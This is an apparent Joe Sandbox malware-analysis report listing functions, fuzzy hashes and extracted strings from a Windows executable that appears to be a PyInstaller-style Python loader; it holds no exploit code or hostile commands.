Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a148da24f8728c4afbbb5c35b1c62c1eac07cb27a590c1aedb906e23ad299329
Instruction ID: ec29c6ef156071a09ce60f76297fd5a3066602d93e4f718915103acc49e1c7fe
Opcode Fuzzy Hash: a148da24f8728c4afbbb5c35b1c62c1eac07cb27a590c1aedb906e23ad299329
Instruction Fuzzy Hash: 9051B736E1C65192E725DB2AC040AB873A2FB45B68F794131CE4E07794EB3AE857C750

Function 00007FF78D291700 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c17fc70a7b56fd02a5ca1026e37b800df55c6077b31342cc29fc41f29b3d3f7
Instruction ID: 022633c6a8262dd8b3f341da417e43be4807228cc0e65d40ee7f4deb687fcda4
Opcode Fuzzy Hash: 9c17fc70a7b56fd02a5ca1026e37b800df55c6077b31342cc29fc41f29b3d3f7
Instruction Fuzzy Hash: 0F51E536A1C65291F725DB2AC040AB8B7A2FB54B58FB44131DE4C077A4EF3AE847C750

Function 00007FF78D290EE0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb81ed943fb456c2e4fa8acab1bbbe5cf5c103c9e469554e3c1d350ff46cf94f
Instruction ID: 8b99e74d4867e46c8a3e026838ad37bed5c69727aa0aa774c6f57afcfe2d3879
Opcode Fuzzy Hash: eb81ed943fb456c2e4fa8acab1bbbe5cf5c103c9e469554e3c1d350ff46cf94f
Instruction Fuzzy Hash: 9251E432A1C65592E7259B29C140ABCB3A2FB44B68FB44131CE4C17798EF3BE94BC750

Function 00007FF78D2912F0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1952aa752d02783d999143113e74aeee2381d9ff93f559de6217d8abf59dcb14
Instruction ID: 99a236894b8905a846bf2182966818dfc6500c1349b7a91d53cd0266bf2afcb5
Opcode Fuzzy Hash: 1952aa752d02783d999143113e74aeee2381d9ff93f559de6217d8abf59dcb14
Instruction Fuzzy Hash: D851A736A1CA5195E725DB2AC040ABC67B2FB48F58FB45131CE4C17798EB3AE84BC750

Function 00007FF78D295490 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction ID: 82f3778e1fad6b79c0ff5cd5a080fa5907dca96914750ad4dd705ddd3d199f79
Opcode Fuzzy Hash: dde3b7cfbcf26fc8d7513faefc9a59c4b8821272907dfbb35b6db6355186da00
Instruction Fuzzy Hash: 0141A252E0D64A15ED959D1C4500FF8A683BF227B4DF862B4DD9D533C3ED1CA99EC220

Function 00007FF78D299990 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 36e0f6223e4c893babb5ac6b0f5a6d1bb1595feb9f8a5d808d66e869dde55b39
Instruction ID: 437d03be64f4a84ba3944d7d5edf987c7966b41139d340bd5024363470e4fe44
Opcode Fuzzy Hash: 36e0f6223e4c893babb5ac6b0f5a6d1bb1595feb9f8a5d808d66e869dde55b39
Instruction Fuzzy Hash: 3E41D462718A5586EF04DF2AD9145A9B3A2FB4CFD0B99A432DE4D97B58EE3CD045C300

Function 00007FF78D2971F8 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a1668db843464e793736d217dfa03c215875bb2177e782922b7e4574bfba185
Instruction ID: 8fa1e8cfb5bc5488a8d7f5ed5ccf50cf00789ed7023e25fb456923efa8807eb6
Opcode Fuzzy Hash: 3a1668db843464e793736d217dfa03c215875bb2177e782922b7e4574bfba185
Instruction Fuzzy Hash: 4431A232B1CB4242E764AB2664405BDB696BF84BA0FA44239EA4D53B96EF3CD016C314

Function 00007FF78D2A93A0 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1779434d4fac48979eb915829dc2fee994fc511718ed54dc0053baa9c0224af1
Instruction ID: 56f2a0955e58c3195a54fc320048597274ebb0138b0d4fe243d6234934cd05be
Opcode Fuzzy Hash: 1779434d4fac48979eb915829dc2fee994fc511718ed54dc0053baa9c0224af1
Instruction Fuzzy Hash: FAF0687171C6558AEBA5DF29A4436A977D0F7483D4FD08039D58D83F04D63C9455CF14

Function 00007FF78D28C7DC Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eb30d1d5b3a7b65bba783ee3395ecb430c64b67bf58a6f54b7dc7cfde470203
Instruction ID: adf3dfa594a014a789e20ec68a3444791b492fd01f83dc48b86c5407951441dc
Opcode Fuzzy Hash: 2eb30d1d5b3a7b65bba783ee3395ecb430c64b67bf58a6f54b7dc7cfde470203
Instruction Fuzzy Hash: 0CA00225D1CC03D0E644BF01F8900B0A734FB90310BE00031D00D915A0FF7CA548D760

Function 00007FF78D2851A0 Relevance: 233.1, APIs: 44, Strings: 89, Instructions: 363libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,00007FF78D28341E), ref: 00007FF78D2851B0
GetProcAddress.KERNEL32(?,?,00000000,00007FF78D28341E), ref: 00007FF78D2851EA
GetProcAddress.KERNEL32(?,?,00000000,00007FF78D28341E), ref: 00007FF78D28520F
GetProcAddress.KERNEL32(?,?,00000000,00007FF78D28341E), ref: 00007FF78D285234
GetProcAddress.KERNEL32(?,?,00000000,00007FF78D28341E), ref: 00007FF78D28525C
GetProcAddress.KERNEL32(?,?,00000000,00007FF78D28341E), ref: 00007FF78D285284
GetProcAddress.KERNEL32(?,?,00000000,00007FF78D28341E), ref: 00007FF78D2852AC
GetProcAddress.KERNEL32(?,?,00000000,00007FF78D28341E), ref: 00007FF78D2852D4
GetProcAddress.KERNEL32(?,?,00000000,00007FF78D28341E), ref: 00007FF78D2852FC
GetProcAddress.KERNEL32(?,?,00000000,00007FF78D28341E), ref: 00007FF78D285324

Strings

PyUnicode_DecodeFSDefault, xrefs: 00007FF78D2857CA
PyUnicode_FromFormat, xrefs: 00007FF78D2857F2
PyUnicode_Decode, xrefs: 00007FF78D2857A2
PyConfig_Clear, xrefs: 00007FF78D2852CA
PyObject_Str, xrefs: 00007FF78D28568A
Failed to get address for Py_DecRef, xrefs: 00007FF78D2851C2
Failed to get address for PyObject_CallFunctionObjArgs, xrefs: 00007FF78D28562E
Failed to get address for Py_PreInitialize, xrefs: 00007FF78D2852BE
Failed to get address for Py_InitializeFromConfig, xrefs: 00007FF78D28526E
Failed to get address for PyObject_CallFunction, xrefs: 00007FF78D285606
Failed to get address for PyMarshal_ReadObjectFromString, xrefs: 00007FF78D28558E
Py_IsInitialized, xrefs: 00007FF78D28527A
PySys_SetObject, xrefs: 00007FF78D285752
Failed to get address for PyList_Append, xrefs: 00007FF78D285566
PyEval_EvalCode, xrefs: 00007FF78D2854AA
PyMem_RawFree, xrefs: 00007FF78D28559A
Failed to get address for Py_Finalize, xrefs: 00007FF78D285246
PyUnicode_FromString, xrefs: 00007FF78D28581A
Failed to get address for PyObject_SetAttrString, xrefs: 00007FF78D28567E
Failed to get address for PyErr_Fetch, xrefs: 00007FF78D2853FE
Failed to get address for PyConfig_InitIsolatedConfig, xrefs: 00007FF78D28530E
PyUnicode_AsUTF8, xrefs: 00007FF78D28577A
Failed to get address for PyImport_ExecCodeModule, xrefs: 00007FF78D285516
Failed to get address for PyErr_Print, xrefs: 00007FF78D285476
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF78D2856B2
Failed to get address for PyUnicode_FromString, xrefs: 00007FF78D285836
PyImport_ImportModule, xrefs: 00007FF78D285522
Failed to get address for PyImport_AddModule, xrefs: 00007FF78D2854EE
PyErr_Restore, xrefs: 00007FF78D285482
Failed to get address for PyRun_SimpleStringFlags, xrefs: 00007FF78D2856F6
PyRun_SimpleStringFlags, xrefs: 00007FF78D2856DA
PyObject_GetAttrString, xrefs: 00007FF78D28563A
PyObject_CallFunction, xrefs: 00007FF78D2855EA
Failed to get address for PyConfig_SetString, xrefs: 00007FF78D285386
Py_DecRef, xrefs: 00007FF78D2851A6
GetProcAddress, xrefs: 00007FF78D2851C9
Failed to get address for PyObject_GetAttrString, xrefs: 00007FF78D285656
PyImport_AddModule, xrefs: 00007FF78D2854D2
PyObject_CallFunctionObjArgs, xrefs: 00007FF78D285612
Failed to get address for Py_DecodeLocale, xrefs: 00007FF78D2851FC
Failed to get address for PyMem_RawFree, xrefs: 00007FF78D2855B6
Py_PreInitialize, xrefs: 00007FF78D2852A2
Failed to get address for PyConfig_SetWideStringList, xrefs: 00007FF78D2853AE
PyStatus_Exception, xrefs: 00007FF78D285702
PyImport_ExecCodeModule, xrefs: 00007FF78D2854FA
PyUnicode_Replace, xrefs: 00007FF78D28586A
Failed to get address for PyConfig_Read, xrefs: 00007FF78D285336
Failed to get address for PyModule_GetDict, xrefs: 00007FF78D2855DE
Failed to get address for Py_IsInitialized, xrefs: 00007FF78D285296
Failed to get address for Py_ExitStatusException, xrefs: 00007FF78D285221
Failed to get address for PyUnicode_DecodeFSDefault, xrefs: 00007FF78D2857E6
Failed to get address for PyConfig_SetBytesString, xrefs: 00007FF78D28535E
PyErr_Clear, xrefs: 00007FF78D2853BA
Failed to get address for PyUnicode_Replace, xrefs: 00007FF78D285886
PyConfig_SetBytesString, xrefs: 00007FF78D285342
Failed to get address for PyPreConfig_InitIsolatedConfig, xrefs: 00007FF78D2856CE
Failed to get address for PyUnicode_FromFormat, xrefs: 00007FF78D28580E
PySys_GetObject, xrefs: 00007FF78D28572A
Failed to get address for PyUnicode_Join, xrefs: 00007FF78D28585E
PyConfig_Read, xrefs: 00007FF78D28531A
PyErr_Fetch, xrefs: 00007FF78D2853E2
PyErr_Print, xrefs: 00007FF78D28545A
Failed to get address for PyErr_Restore, xrefs: 00007FF78D28549E
PyConfig_InitIsolatedConfig, xrefs: 00007FF78D2852F2
Failed to get address for PyImport_ImportModule, xrefs: 00007FF78D28553E
PyConfig_SetString, xrefs: 00007FF78D28536A
Failed to get address for PyErr_NormalizeException, xrefs: 00007FF78D285426
PyMarshal_ReadObjectFromString, xrefs: 00007FF78D285572
Py_DecodeLocale, xrefs: 00007FF78D2851E0
PyList_Append, xrefs: 00007FF78D28554A
Failed to get address for PyUnicode_AsUTF8, xrefs: 00007FF78D285796
Failed to get address for PySys_GetObject, xrefs: 00007FF78D285746
Failed to get address for PyErr_Occurred, xrefs: 00007FF78D28544E
Py_Finalize, xrefs: 00007FF78D28522A
PyConfig_SetWideStringList, xrefs: 00007FF78D285392
Failed to get address for PyStatus_Exception, xrefs: 00007FF78D28571E
PyUnicode_Join, xrefs: 00007FF78D285842
PyErr_NormalizeException, xrefs: 00007FF78D28540A
PyErr_Occurred, xrefs: 00007FF78D285432
Failed to get address for PyConfig_Clear, xrefs: 00007FF78D2852E6
Failed to get address for PySys_SetObject, xrefs: 00007FF78D28576E
Failed to get address for PyErr_Clear, xrefs: 00007FF78D2853D6
Failed to get address for PyEval_EvalCode, xrefs: 00007FF78D2854C6
PyModule_GetDict, xrefs: 00007FF78D2855C2
Py_ExitStatusException, xrefs: 00007FF78D285205
Failed to get address for PyUnicode_Decode, xrefs: 00007FF78D2857BE
Py_InitializeFromConfig, xrefs: 00007FF78D285252
PyObject_SetAttrString, xrefs: 00007FF78D285662
Failed to get address for PyObject_Str, xrefs: 00007FF78D2856A6

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for PyConfig_Clear$Failed to get address for PyConfig_InitIsolatedConfig$Failed to get address for PyConfig_Read$Failed to get address for PyConfig_SetBytesString$Failed to get address for PyConfig_SetString$Failed to get address for PyConfig_SetWideStringList$Failed to get address for PyErr_Clear$Failed to get address for PyErr_Fetch$Failed to get address for PyErr_NormalizeException$Failed to get address for PyErr_Occurred$Failed to get address for PyErr_Print$Failed to get address for PyErr_Restore$Failed to get address for PyEval_EvalCode$Failed to get address for PyImport_AddModule$Failed to get address for PyImport_ExecCodeModule$Failed to get address for PyImport_ImportModule$Failed to get address for PyList_Append$Failed to get address for PyMarshal_ReadObjectFromString$Failed to get address for PyMem_RawFree$Failed to get address for PyModule_GetDict$Failed to get address for PyObject_CallFunction$Failed to get address for PyObject_CallFunctionObjArgs$Failed to get address for PyObject_GetAttrString$Failed to get address for PyObject_SetAttrString$Failed to get address for PyObject_Str$Failed to get address for PyPreConfig_InitIsolatedConfig$Failed to get address for PyRun_SimpleStringFlags$Failed to get address for PyStatus_Exception$Failed to get address for PySys_GetObject$Failed to get address for PySys_SetObject$Failed to get address for PyUnicode_AsUTF8$Failed to get address for PyUnicode_Decode$Failed to get address for PyUnicode_DecodeFSDefault$Failed to get address for PyUnicode_FromFormat$Failed to get address for PyUnicode_FromString$Failed to get address for PyUnicode_Join$Failed to get address for PyUnicode_Replace$Failed to get address for Py_DecRef$Failed to get address for Py_DecodeLocale$Failed to get address for Py_ExitStatusException$Failed to get address for Py_Finalize$Failed to get address for Py_InitializeFromConfig$Failed to get address for Py_IsInitialized$Failed to get address for Py_PreInitialize$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyList_Append$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 190572456-4266016200
Opcode ID: ed41173551a9c8f77bc393bb51b1aa6cf3c93f82a6a346fb9108e40aedcddde6
Instruction ID: 866fffba9bcd8eea6e479e9d04f3afa4c000782aea6a2022830f2b5186cb8ea8
Opcode Fuzzy Hash: ed41173551a9c8f77bc393bb51b1aa6cf3c93f82a6a346fb9108e40aedcddde6
Instruction Fuzzy Hash: 9F126068A0EB03D4FA55FB0AA8501F4A3A5FF49761BF45435C81E462A4FFBDB54CE220

Function 00007FF78D2812A0 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 137COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF78D2812FC
malloc, xrefs: 00007FF78D28136B
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF78D281364
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF78D281331
%s%c%s, xrefs: 00007FF78D281438
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF78D2814A8
fread, xrefs: 00007FF78D2814AF
\, xrefs: 00007FF78D28143F
fseek, xrefs: 00007FF78D281338

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: Message
String ID: %s%c%s$Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$\$fread$fseek$malloc
API String ID: 2030045667-2316137593
Opcode ID: 1d76cfabe2e1f80e85f70decf52ce16b838718fc8594eb48da5ff1728d84394a
Instruction ID: f60f7eea5eb26454197f4f545c56dff7f813c002106a2728d9ea81c74cd0f485
Opcode Fuzzy Hash: 1d76cfabe2e1f80e85f70decf52ce16b838718fc8594eb48da5ff1728d84394a
Instruction Fuzzy Hash: 03516061A1C68255FA11FB16E4502FAA390FF44BD4FE44432ED4D87A99FE2CE509C720

Function 00007FF78D282390 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF78D2823BB
SelectObject.GDI32 ref: 00007FF78D282402
DrawTextW.USER32 ref: 00007FF78D282425
SelectObject.GDI32 ref: 00007FF78D28243B
ReleaseDC.USER32 ref: 00007FF78D28244B
MoveWindow.USER32 ref: 00007FF78D28249B
MoveWindow.USER32 ref: 00007FF78D2824DB
MoveWindow.USER32 ref: 00007FF78D28252E
MoveWindow.USER32 ref: 00007FF78D282576

Strings

P%, xrefs: 00007FF78D28240F

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 2a2da5b701687242c167e97fa1f4ac804c20f19331105f2c497795d75839172f
Instruction ID: eb022049e6429e4c322fa5c938a0e7b7895c5098da3121fe0fe2191562d9de4a
Opcode Fuzzy Hash: 2a2da5b701687242c167e97fa1f4ac804c20f19331105f2c497795d75839172f
Instruction Fuzzy Hash: 4551E9266087A186D634AF26E4181BAF7A1FB98B61F504125EFDF43694EF3CD049DB20

Function 00007FF78D295D04 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D295D47
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D296134
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2963D0

Strings

f, xrefs: 00007FF78D295E69
p, xrefs: 00007FF78D295E71
-, xrefs: 00007FF78D295DDD
:, xrefs: 00007FF78D295F00
p, xrefs: 00007FF78D295DF9

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 13bf77c93a4037de24218931e344ced63332b4159bed58b746d94ec3c7fa7174
Instruction ID: 8488a2d6675bfc2ea573f367a5abb815cf6dc900f4b9f82e81133fee2a0782bc
Opcode Fuzzy Hash: 13bf77c93a4037de24218931e344ced63332b4159bed58b746d94ec3c7fa7174
Instruction Fuzzy Hash: 04127031A0C543A6FB24BA14D154AF9E6E3FB80755FE84135E68A476C4EF3DE488CB24

Function 00007FF78D290768 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D2907A8
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D290B70
_invalid_parameter_noinfo.LIBCMT ref: 00007FF78D290E0F

Strings

f, xrefs: 00007FF78D290840
f, xrefs: 00007FF78D2908AA
f, xrefs: 00007FF78D2909F5
p, xrefs: 00007FF78D2908B2
p, xrefs: 00007FF78D29084D

Memory Dump Source

Source File: 00000000.00000002.2091593197.00007FF78D281000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF78D280000, based on PE: true

Associated: 00000000.00000002.2091569678.00007FF78D280000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091625986.00007FF78D2AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091653589.00007FF78D2C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091701414.00007FF78D2C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff78d280000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: 57be4d3235f3c7e7fe9cc3e0119ba00d32c026717cad99bda61a19a4716f3002
Instruction ID: 1ef66f981796542f7505a6d6663871a3898a527d134657621d0d07980b0ab281
Opcode Fuzzy Hash: 57be4d3235f3c7e7fe9cc3e0119ba00d32c026717cad99bda61a19a4716f3002
Instruction Fuzzy Hash: 48128262E0C14BA5FB606A15D254EF9F363FB50764FE44035E699466C8EB3DE888CB20

